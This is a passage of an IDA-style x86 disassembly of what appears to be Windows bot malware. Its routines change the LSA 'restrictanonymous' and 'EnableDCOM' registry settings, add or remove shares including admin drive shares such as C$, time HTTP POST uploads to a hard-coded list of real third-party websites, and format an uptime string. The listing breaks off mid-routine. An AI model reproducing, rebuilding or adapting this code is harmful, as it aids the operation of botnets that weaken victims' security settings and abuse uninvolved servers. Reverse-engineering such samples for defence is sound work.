		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A720
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6EC


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B0
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A680


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB918
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A548


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A65C
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A630


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A568
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A60C
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E0


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA64


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5B8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAA4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392DC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A938
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A91C


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8DC
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8A4


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A868
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A680


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBACC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A548
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A848
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A820


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A558
		jb	short loc_41A86E
		nop
		call	near ptr 2860819h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA34
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A848
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A820


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F0
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A588
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 26B0E28h
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349EC ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA6C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A990
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26B0E28h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBC90
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26F057Eh
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
